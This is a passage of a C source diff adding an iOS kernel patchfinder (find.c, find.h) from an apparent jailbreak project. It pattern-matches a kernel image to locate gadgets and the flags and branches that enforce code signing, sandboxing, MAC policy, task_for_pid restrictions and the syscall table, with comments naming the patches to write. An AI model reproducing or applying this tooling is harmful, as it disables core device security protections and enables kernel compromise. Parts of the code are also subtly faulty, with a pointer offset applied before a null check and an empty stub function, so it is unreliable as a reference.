(num_masks * sizeof(uint16_t))); + uint16_t* cur; + for(cur = (uint16_t*) kdata; cur <= end; ++cur) + { + int matched = 1; + int i; + for(i = 0; i < num_masks; ++i) + { + if((*(cur + i) & masks[i].mask) != masks[i].value) + { + matched = 0; + break; + } + } + + if(matched) + return cur; + } + + return NULL; +} + +static uint32_t find_memmove_arm(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0x52, 0xE3, 0x01, 0x00, 0x50, 0x11, 0x1E, 0xFF, 0x2F, 0x01, 0xB1, 0x40, 0x2D, 0xE9}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +static uint32_t find_memmove_thumb(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x03, 0x46, 0x08, 0x46, 0x19, 0x46, 0x80, 0xB5}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr + 6 + 1) - ((uintptr_t)kdata); +} + +// Helper gadget. +uint32_t find_memmove(uint32_t region, uint8_t* kdata, size_t ksize) +{ + uint32_t thumb = find_memmove_thumb(region, kdata, ksize); + if(thumb) + return thumb; + + return find_memmove_arm(region, kdata, ksize); +} + +// Use for write-anywhere gadget. +uint32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x11, 0x60, 0x70, 0x47}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1; + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// Helper gadget for changing page tables / patching. +uint32_t find_flush_dcache(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0xA0, 0xE3, 0x5E, 0x0F, 0x07, 0xEE}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// Helper gadget for changing page tables. +uint32_t find_invalidate_tlb(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x00, 0x00, 0xA0, 0xE3, 0x17, 0x0F, 0x08, 0xEE}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return ((uintptr_t)ptr) - ((uintptr_t)kdata); +} + +// This points to kernel_pmap. Use that to change the page tables if necessary. +uint32_t find_pmap_location(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the pmap_map_bd string. + uint8_t* pmap_map_bd = memmem(kdata, ksize, "\"pmap_map_bd\"", sizeof("\"pmap_map_bd\"")); + if(!pmap_map_bd) + return 0; + + // Find a reference to the pmap_map_bd string. That function also references kernel_pmap + uint16_t* ptr = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)pmap_map_bd - (uintptr_t)kdata); + if(!ptr) + return 0; + + // Find the end of it. + const uint8_t search_function_end[] = {0xF0, 0xBD}; + ptr = memmem(ptr, ksize - ((uintptr_t)ptr - (uintptr_t)kdata), search_function_end, sizeof(search_function_end)); + if(!ptr) + return 0; + + // Find the last BL before the end of it. The third argument to it should be kernel_pmap + uint16_t* bl = find_last_insn_matching(region, kdata, ksize, ptr, insn_is_bl); + if(!bl) + return 0; + + // Find the last LDR R2, [R*] before it that's before any branches. If there are branches, then we have a version of the function that assumes kernel_pmap instead of being passed it. + uint16_t* ldr_r2 = NULL; + uint16_t* current_instruction = bl; + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(insn_ldr_imm_rt(current_instruction) == 2 && insn_ldr_imm_imm(current_instruction) == 0) + { + ldr_r2 = current_instruction; + break; + } else if(insn_is_b_conditional(current_instruction) || insn_is_b_unconditional(current_instruction)) + { + break; + } + } + + // The function has a third argument, which must be kernel_pmap. Find out its address + if(ldr_r2) + return find_pc_rel_value(region, kdata, ksize, ldr_r2, insn_ldr_imm_rn(ldr_r2)); + + // The function has no third argument, Follow the BL. + uint32_t imm32 = insn_bl_imm32(bl); + uint32_t target = ((uintptr_t)bl - (uintptr_t)kdata) + 4 + imm32; + if(target > ksize) + return 0; + + // Find the first PC-relative reference in this function. + int found = 0; + int rd; + current_instruction = (uint16_t*)(kdata + target); + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_add_reg(current_instruction) && insn_add_reg_rm(current_instruction) == 15) + { + found = 1; + rd = insn_add_reg_rd(current_instruction); + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return find_pc_rel_value(region, kdata, ksize, current_instruction, rd); +} + +// Write 0 here. +uint32_t find_proc_enforce(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find the description. + uint8_t* proc_enforce_description = memmem(kdata, ksize, "Enforce MAC policy on process operations", sizeof("Enforce MAC policy on process operations")); + if(!proc_enforce_description) + return 0; + + // Find what references the description. + uint32_t proc_enforce_description_address = region + ((uintptr_t)proc_enforce_description - (uintptr_t)kdata); + uint8_t* proc_enforce_description_ptr = memmem(kdata, ksize, &proc_enforce_description_address, sizeof(proc_enforce_description_address)); + if(!proc_enforce_description_ptr) + return 0; + + // Go up the struct to find the pointer to the actual data element. + uint32_t* proc_enforce_ptr = (uint32_t*)(proc_enforce_description_ptr - (5 * sizeof(uint32_t))); + return *proc_enforce_ptr - region; +} + +// Write 1 here. +uint32_t find_cs_enforcement_disable_amfi(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find a function referencing cs_enforcement_disable_amfi + const uint8_t search_function[] = {0x20, 0x68, 0x40, 0xF4, 0x40, 0x70, 0x20, 0x60, 0x00, 0x20, 0x90, 0xBD}; + uint8_t* ptr = memmem(kdata, ksize, search_function, sizeof(search_function)); + if(!ptr) + return 0; + + // Only LDRB in there should try to dereference cs_enforcement_disable_amfi + uint16_t* ldrb = find_last_insn_matching(region, kdata, ksize, (uint16_t*) ptr, insn_is_ldrb_imm); + if(!ldrb) + return 0; + + // Weird, not the right one. + if(insn_ldrb_imm_imm(ldrb) != 0 || insn_ldrb_imm_rt(ldrb) > 12) + return 0; + + // See what address that LDRB is dereferencing + return find_pc_rel_value(region, kdata, ksize, ldrb, insn_ldrb_imm_rn(ldrb)); +} + +// Write 1 here. +uint32_t find_cs_enforcement_disable_kernel(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing cs_enforcement_disable_kernel + const struct find_search_mask search_masks[] = + { + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF04}, // ITT EQ + {0xFFF0, 0xF080}, // EOR Rx, Ry, #1 + {0xF0FF, 0x0001}, + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFF00, 0xD100} // BNE x + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + if(!insn_is_cmp_imm(insn) || insn_cmp_imm_imm(insn) != 0) + return 0; + + // The first cmp is using the value of cs_enforcement_disable_kernel. + int rn = insn_cmp_imm_rn(insn); + + // Find the last LDR that loads the value the CMP uses. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = insn; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. + return find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); +} + +// Change this to non-zero. +uint32_t find_i_can_has_debugger_1(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing i_can_has_debugger_1: PE_reboot_on_panic + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #4 + {0xF0FF, 0x0004}, + {0xFFFF, 0x2000}, // MOV R0, #0 + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF08}, // IT EQ + {0xFFFF, 0x2001} // MOVEQ R0, #1 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + // That AND masks i_can_has_debugger_2, but the CMP before that is on i_can_has_debugger_1. Find it. + uint16_t* cmp = find_last_insn_matching(region, kdata, ksize, insn, insn_is_cmp_imm); + if(!cmp) + return 0; + + int rn = insn_cmp_imm_rn(cmp); + + // Find the last LDR that loads the value the CMP uses. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = cmp; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. + return find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); +} + +// Change this to what you want the value to be (non-zero appears to work). +uint32_t find_i_can_has_debugger_2(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find function referencing i_can_has_debugger_1: PE_reboot_on_panic + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #4 + {0xF0FF, 0x0004}, + {0xFFFF, 0x2000}, // MOV R0, #0 + {0xF8FF, 0x2800}, // CMP Rx, #0 + {0xFFFF, 0xBF08}, // IT EQ + {0xFFFF, 0x2001} // MOVEQ R0, #1 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + // Make sure we have the right function. + if(!insn_is_and_imm(insn) || !insn_is_cmp_imm(insn + 3) || insn_and_imm_rd(insn) != insn_cmp_imm_rn(insn + 3) || insn_and_imm_imm(insn) != 4) + return 0; + + // That AND masks i_can_has_debugger_2. Find the last LDR that loads the value the AND uses. + int rn = insn_and_imm_rn(insn); + + // Find the last LDR that loads the value the CMP uses. That load actually uses an address dereferenced from a pointer to i_can_has_debugger_2. + uint16_t* ldr_rn = NULL; + uint16_t* ldr = insn; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the last LDR that loads the value the last LDR used. + rn = insn_ldr_imm_rn(ldr_rn); + ldr = ldr_rn; + ldr_rn = NULL; + while(!ldr_rn) + { + ldr = find_last_insn_matching(region, kdata, ksize, ldr, insn_is_ldr_imm); + if(!ldr) + return 0; + + if(insn_ldr_imm_rt(ldr) == rn && insn_ldr_imm_imm(ldr) == 0) + { + ldr_rn = ldr; + break; + } + } + + // Find the address that LDR is deferencing. This is p_i_can_has_debugger_2. + uint32_t p_i_can_has_debugger_2 = find_pc_rel_value(region, kdata, ksize, ldr_rn, insn_ldr_imm_rn(ldr_rn)); + + // Dereferencing that should find i_can_has_debugger_2 + uint32_t i_can_has_debugger_2 = *(uint32_t*)(kdata + p_i_can_has_debugger_2); + + // Get rid of the slide. + return i_can_has_debugger_2 - region; +} + +// NOP out the conditional branch here. +uint32_t find_vm_map_enter_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const struct find_search_mask search_masks[] = + { + {0xFFF0, 0xF000}, // AND Rx, Ry, #6 + {0xF0FF, 0x0006}, + {0xF8FF, 0x2806} // CMP Rx, #6 + }; + + uint16_t* insn = find_with_search_mask(region, kdata, ksize, sizeof(search_masks) / sizeof(*search_masks), search_masks); + if(!insn) + return 0; + + insn += 3; + + return ((uintptr_t)insn) - ((uintptr_t)kdata); +} + +// Change the conditional branch here to an unconditional branch. +uint32_t find_vm_map_protect_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x08, 0xBF, 0x10, 0xF0, 0x80, 0x4F}; + uint16_t* insn = memmem(kdata, ksize, search, sizeof(search)); + if(!insn) + return 0; + + insn += 3; + + return ((uintptr_t)insn) - ((uintptr_t)kdata); +} + +// Change the conditional branch here to an unconditional branch. +uint32_t find_tfp0_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find the task_for_pid function + const uint8_t search[] = {0x02, 0x46, 0x30, 0x46, 0x21, 0x46, 0x53, 0x46}; + uint16_t* fn = memmem(kdata, ksize, search, sizeof(search)); + if(!fn) + return 0; + + // Find the beginning of it + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, fn, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find where something is checked to be 0 (the PID check) + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)fn) + { + if(insn_is_cmp_imm(current_instruction) && insn_cmp_imm_imm(current_instruction) == 0) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + // Find the next conditional branch + found = 0; + while((uintptr_t)current_instruction < (uintptr_t)fn) + { + // The unconditional branch is to detect an already patched function and still return the right address. + if(insn_is_b_conditional(current_instruction) || insn_is_b_unconditional(current_instruction)) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return ((uintptr_t)current_instruction) - ((uintptr_t)kdata); +} + +// Write this with a jump to the sandbox hook, then write a trampoline back to just after the jump you wrote here. Sandbox hook should look at the path in *(r3 + 0x14) and force +// it to be allowed if it is outside of /private/var/mobile, or inside of /private/var/mobile/Library/Preferences but not /private/var/mobile/Library/Preferences/com.apple* +// To force it to allow, *r0 = 0 and *(r0 + 0x4) = 0x18. If not, just call the original function via the trampoline. +uint32_t find_sb_patch(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "control_name" string. + uint8_t* control_name = memmem(kdata, ksize, "control_name", sizeof("control_name")); + if(!control_name) + return 0; + + // Find a reference to the "control_name" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)control_name - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the start of the function referencing "control_name" + uint16_t* fn_start = ref; + while(1) + { + fn_start = find_last_insn_matching(region, kdata, ksize, fn_start, insn_is_push); + if(!fn_start) + return 0; + + uint16_t registers = insn_push_registers(fn_start); + // We match PUSH {R0, R1} as well to detect an already patched version. + if((registers & (1 << 14)) != 0 || (registers & (1 << 0 | 1 << 1)) == (1 << 0 | 1 << 1)) + break; + } + + return ((uintptr_t)fn_start) - ((uintptr_t)kdata); +} + +// Utility function, necessary for the sandbox hook. +uint32_t find_vn_getpath(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find a string inside the vn_getpath function + const uint8_t search[] = {0x01, 0x20, 0xCD, 0xE9, 0x00, 0x01, 0x28, 0x46, 0x41, 0x46, 0x32, 0x46, 0x23, 0x46}; + uint16_t* fn = memmem(kdata, ksize, search, sizeof(search)); + if(!fn) + return 0; + + // Find the start of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, fn, insn_is_preamble_push); + if(!fn_start) + return 0; + + return ((uintptr_t)fn_start | 1) - ((uintptr_t)kdata); +} + +// Utility function, necessary for the sandbox hook. +uint32_t find_memcmp(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Okay, search is actually the entire text of memcmp. This is in order to distinguish it from bcmp. However, memcmp is the same as bcmp if you only care about equality. + const uint8_t search[] = + { + 0x00, 0x23, 0x62, 0xB1, 0x91, 0xF8, 0x00, 0x90, + 0x03, 0x78, 0x4B, 0x45, 0x09, 0xD1, 0x01, 0x3A, + 0x00, 0xF1, 0x01, 0x00, 0x01, 0xF1, 0x01, 0x01, + 0x4F, 0xF0, 0x00, 0x03, 0xF2, 0xD1, 0x18, 0x46, + 0x70, 0x47, 0xA3, 0xEB, 0x09, 0x03, 0x18, 0x46, + 0x70, 0x47 + }; + + void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1; + if(!ptr) + return 0; + + return ((uintptr_t)ptr | 1) - ((uintptr_t)kdata); +} + +// Dereference this, add 0x38 to the resulting pointer, and write whatever boot-args are suitable to affect kern.bootargs. +uint32_t find_p_bootargs(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "BBBBBBBBGGGGGGGGRRRRRRRR" string. + uint8_t* pixel_format = memmem(kdata, ksize, "BBBBBBBBGGGGGGGGRRRRRRRR", sizeof("BBBBBBBBGGGGGGGGRRRRRRRR")); + if(!pixel_format) + return 0; + + // Find a reference to the "BBBBBBBBGGGGGGGGRRRRRRRR" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)pixel_format - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the beginning of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, ref, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find the first MOV Rx, #1. This is to eventually set PE_state as initialized + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)ref) + { + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_imm(current_instruction) == 1) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + int reg = insn_mov_imm_rd(current_instruction); + + // This finds the STR Rx, [Ry] instrunction following that actually writes the #1. We will use Ry to find PE_state. + found = 0; + while((uintptr_t)current_instruction < (uintptr_t)ref) + { + if(insn_is_str_imm(current_instruction) && insn_str_imm_imm(current_instruction) == 0 + && insn_str_imm_postindexed(current_instruction) == 1 && insn_str_imm_wback(current_instruction) == 0 + && insn_str_imm_rt(current_instruction) == reg) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + // Now find the location of PE_state + uint32_t pe_state = find_pc_rel_value(region, kdata, ksize, current_instruction, insn_str_imm_rn(current_instruction)); + if(!pe_state) + return 0; + + // p_boot_args is 0x70 offset in that struct. + return pe_state + 0x70; +} + +// This gets the zone_page_table array in osfmk/kern/zalloc.c. Useful for diagnosing problems with the zone allocator. +uint32_t find_zone_page_table(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of a panic string used by the zone_page_table_expand function. + uint8_t* zone_page_table_expand = memmem(kdata, ksize, "\"zone_page_table_expand\"", sizeof("\"zone_page_table_expand\"")); + if(!zone_page_table_expand) + return 0; + + // Find a reference to the panic string + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)zone_page_table_expand - (uintptr_t)kdata); + if(!ref) + return 0; + + // Find the beginning of the function + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, ref, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find the instruction that performs the first level page table translation: LDR Rt, [Rn, Rm, LSL#2]. Rn is the address of zone_page_table + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_ldr_reg(current_instruction) && insn_ldr_reg_lsl(current_instruction) == 2) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return find_pc_rel_value(region, kdata, ksize, current_instruction, insn_ldr_reg_rn(current_instruction)); +} + +// Function to free leaked ipc_kmsg objects +uint32_t find_ipc_kmsg_destroy(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x75, 0x68, 0x06, 0x60, 0x45, 0x60, 0x70, 0x60, 0x28, 0x60, 0xF0, 0xBD}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, (uint16_t*)ptr, insn_is_preamble_push); + return ((uintptr_t)fn_start - (uintptr_t)kdata) | 1; +} + +// Function to find the syscall 0 function pointer. Used to modify the syscall table to call our own code. +uint32_t find_syscall0(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Search for the preamble to syscall 1 + const uint8_t syscall1_search[] = {0x90, 0xB5, 0x01, 0xAF, 0x82, 0xB0, 0x09, 0x68, 0x01, 0x24, 0x00, 0x23}; + void* ptr = memmem(kdata, ksize, syscall1_search, sizeof(syscall1_search)); + if(!ptr) + return 0; + + // Search for a pointer to syscall 1 + uint32_t ptr_address = (uintptr_t)ptr - (uintptr_t)kdata + region; + uint32_t function = ptr_address | 1; + void* syscall1_entry = memmem(kdata, ksize, &function, sizeof(function)); + if(!syscall1_entry) + return 0; + + // Calculate the address of syscall 0 from the address of the syscall 1 entry + return (uintptr_t)syscall1_entry - (uintptr_t)kdata - 0x18; +} + +// Function used to free any dead ports we find to clean up after memory leak. +uint32_t find_io_free(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0xB0, 0xB5, 0x05, 0x46, 0x0C, 0x46, 0x02, 0xAF, 0x15, 0xB9}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return (((uintptr_t)ptr) - ((uintptr_t)kdata)) | 1; +} + +// Function used to find IOLog for printing debug messages +uint32_t find_IOLog(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "%s: error mapping interrupt[%d]\n" string. + uint8_t* msg = memmem(kdata, ksize, "%s: error mapping interrupt[%d]\n", sizeof("%s: error mapping interrupt[%d]\n")); + if(!msg) + return 0; + + // Find a reference to the "%s: error mapping interrupt[%d]\n" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)msg - (uintptr_t)kdata); + if(!ref) + return 0; + + uint16_t* bl = NULL; + uint16_t* current_instruction = ref; + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_bl(current_instruction)) + { + bl = current_instruction; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!bl) + return 0; + + uint32_t imm32 = insn_bl_imm32(bl); + uint32_t target = ((uintptr_t)bl - (uintptr_t)kdata) + 4 + imm32; + if(target > ksize) + return 0; + + return target + 1; +} + +static void generate_ttb_entries(void) +{ + uint32_t vaddr, vaddr_end, paddr, i; + + paddr = PHYS_OFF; + vaddr = SHADOWMAP_BEGIN; + vaddr_end = SHADOWMAP_END; + + for(i = vaddr; i <= vaddr_end; i += SHADOWMAP_GRANULARITY, paddr += SHADOWMAP_GRANULARITY) { + printf("ProtoTTE: 0x%08x for VA 0x%08x -> PA 0x%08x\n", L1_PROTO_TTE(paddr), i, paddr); + ttb_template[TTB_OFFSET(i) >> PFN_SHIFT] = L1_PROTO_TTE(paddr); + } + + printf("TTE offset begin for shadowmap: 0x%08x\n" + "TTE offset end for shadowmap: 0x%08x\n" + "TTE size: 0x%08x\n", + SHADOWMAP_BEGIN_OFF, SHADOWMAP_END_OFF, SHADOWMAP_SIZE); + + return; +} + +vm_address_t find_iof(kernel_t* kernel) { + +} + + +vm_address_t find_tlb(kernel_t* kernel) { + int x = 0; + void* data = malloc(0xB00000); + if(data == 0) return 0; + + vm_address_t base = kernel->base; + x = kernel->read(base, data, 0xB00000); + if(x) { + error("Unable to read mach-o header from kernel"); + return 0; + } + + // TODO: Switch this to only require 4/8 byte reads + macho_t* macho = macho_load(data, 0xB00000); + if(macho) { + //macho_debug(macho); + macho_section_t* data_section = macho_get_section(macho, "__DATA", "__data"); + if(data_section) { + //macho_section_debug(data_section); + macho_section_t* common_section = macho_get_section(macho, "__DATA", "__common"); + if(common_section) { + //macho_section_debug(common_section); + void* data_buf = malloc(data_section->info->size); + if(data_buf) { + x = kernel->read(data_section->info->addr, data_buf, data_section->info->size); + if(x) { + error("Unable to read in data section"); + return 0; + } + + int i = 0; + for(i = 0; i < data_section->info->size; i+=4) { + unsigned char* ptr = &data_buf[i]; + unsigned int value = *(unsigned int*)ptr; + // Check of this points into __DATA:__common section + if(value > common_section->info->addr + && value < common_section->info->addr + common_section->info->size) { + // I hope we can assume the first one found is kernel_pmap + if((kernel->get(value) != 0) && ((kernel->get(value) & 0xFFF) == 0) && (kernel->get(value) > value)) { + debug("Found TLB at 0x%08x with value 0x%08x", value, kernel->get(value)); + macho_free(macho); + free(data_buf); + free(data); + return value; + } + } + } + + } + + // Ok found our segments, let's see how many pointers there are + } + } + macho_free(macho); + + } else { + error("Unable to load kernel as mach-o file"); + free(data); + return 0; + } + + syslog(LOG_ERR, "Failed to find TLB offset"); + free(data); + return 0; +} + + +uint32_t find_aes(uint32_t region, uint8_t* kdata, size_t ksize) { + unsigned int i = 0; + for(i = 0; i < ksize; i++) { + // B0 F5 FA 6F 00 F0 A2 80 + // 00 F0 92 80 + //"IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")), + //if (*((uint32_t*)&p[i]) == 0xF640d067) { + if(memcmp(&kdata[i], "\xB0\xF5\xFA\x6F\x00\xF0", 6) == 0) { + syslog(LOG_ERR, "Found IOAESAccelerator UID ptr at address 0x%08x", &kdata[i+4]); + return i+4; + } + } + syslog(LOG_ERR, "IOAESAccelerator Kernel patching failed\n"); + return 0; +} + + +/* +vm_address_t find_aes(kernel_t* kernel) { + int x = 0; + uint32_t i = 0; + void* buf = malloc(2048); + vm_address_t base = kernel->base; + if(buf == 0) return -1; + + vm_address_t addr = base + 0x1000; + while(addr < (base + 0xB00000)) { + memset(buf, '\0', 2048); + x = kernel->read(addr, buf, 2048); + if(x) { + syslog(LOG_ERR, "Error reading in kernel"); + break; + } + uint8_t* p = (uint8_t*) buf; + + for(i = 0; i < 2048; i++) { + // B0 F5 FA 6F 00 F0 A2 80 + // 00 F0 92 80 + //"IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")), + //if (*((uint32_t*)&p[i]) == 0xF640d067) { + if(memcmp(&p[i], "\xB0\xF5\xFA\x6F\x00\xF0", 6) == 0) { + addr += i + 4; + //syslog(LOG_ERR, "Found IOAESAccelerator UID ptr at 0x%08x, patching kernel", (uint32_t)(addr)); + free(buf); + return addr; + } + } + addr += 2048; + } + syslog(LOG_ERR, "IOAESAccelerator Kernel patching failed\n"); + free(buf); + return -1; +} + */ diff --git a/patch/patch/find.h b/patch/patch/find.h new file mode 100644 index 0000000..b282618 --- /dev/null +++ b/patch/patch/find.h @@ -0,0 +1,157 @@ +// +// find_xref.h +// SudoChop +// +// Created by Joshua Hill on 12/12/12. +// +// + +#ifndef __chop__find_xref__ +#define __chop__find_xref__ + +#include +#include +#include +#include + +#include "kernel.h" + +/* + * ARM page bits for L1 sections. + */ +#define L1_SHIFT 20 /* log2(1MB) */ + +#define L1_SECT_PROTO (1 << 1) /* 0b10 */ + +#define L1_SECT_B_BIT (1 << 2) +#define L1_SECT_C_BIT (1 << 3) + +#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */ +#define L1_SECT_SH_DEVICE (L1_SECT_B_BIT) +#define L1_SECT_WT_NWA (L1_SECT_C_BIT) +#define L1_SECT_WB_NWA (L1_SECT_B_BIT | L1_SECT_C_BIT) +#define L1_SECT_S_BIT (1 << 16) + +#define L1_SECT_AP_URW (1 << 10) | (1 << 11) +#define L1_SECT_PFN(x) (x & 0xFFF00000) + +#define L1_SECT_DEFPROT (L1_SECT_AP_URW) +#define L1_SECT_DEFCACHE (L1_SECT_SORDER) + +#define L1_PROTO_TTE(paddr) (L1_SECT_PFN(paddr) | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE | L1_SECT_PROTO) + +#define PFN_SHIFT 2 +#define TTB_OFFSET(vaddr) ((vaddr >> L1_SHIFT) << PFN_SHIFT) + +/* + * RAM physical base begin. + */ +#define S5L8930_PHYS_OFF 0x40000000 +#define S5L8940_PHYS_OFF 0x80000000 /* Note: RAM base is identical for 8940-8955. */ + +#define PHYS_OFF S5L8940_PHYS_OFF + +/* + * Shadowmap begin and end. 15MB of shadowmap is enough for the kernel. + * We don't need to invalidate unified D/I TLB or any cache lines + * since the kernel is mapped as writethrough memory, and these + * addresses are guaranteed to not be translated. + * (Accesses will cause segmentation faults due to failure on L1 translation.) + * + * Clear the shadowmappings when done owning the kernel. + * + * 0x7ff0'0000 is also below the limit for vm_read and such, so that's also *great*. + * (2048 bytes) + */ +#define SHADOWMAP_BEGIN 0x7f000000 +#define SHADOWMAP_END 0x7ff00000 +#define SHADOWMAP_GRANULARITY 0x00100000 + +#define SHADOWMAP_SIZE_BYTES (SHADOWMAP_END - SHADOWMAP_BEGIN) + +#define SHADOWMAP_BEGIN_OFF TTB_OFFSET(SHADOWMAP_BEGIN) +#define SHADOWMAP_END_OFF TTB_OFFSET(SHADOWMAP_END) +#define SHADOWMAP_SIZE (SHADOWMAP_END_OFF - SHADOWMAP_BEGIN_OFF) + +#define SHADOWMAP_BEGIN_IDX (SHADOWMAP_BEGIN_OFF >> PFN_SHIFT) +#define SHADOWMAP_END_IDX (SHADOWMAP_END_OFF >> PFN_SHIFT) + +#define TTB_SIZE 4096 +#define DEFAULT_KERNEL_SLIDE 0x80000000 + +vm_address_t find_tfp(kernel_t* kernel); +//vm_address_t find_aes(kernel_t* kernel); +uint32_t find_aes(uint32_t region, uint8_t* kdata, size_t ksize); +vm_address_t find_dbg(kernel_t* kernel); +vm_address_t find_iof(kernel_t* kernel); +vm_address_t find_tlb(kernel_t* kernel); + +// Helper gadget. +uint32_t find_memmove(uint32_t region, uint8_t* kdata, size_t ksize); + +// Use for 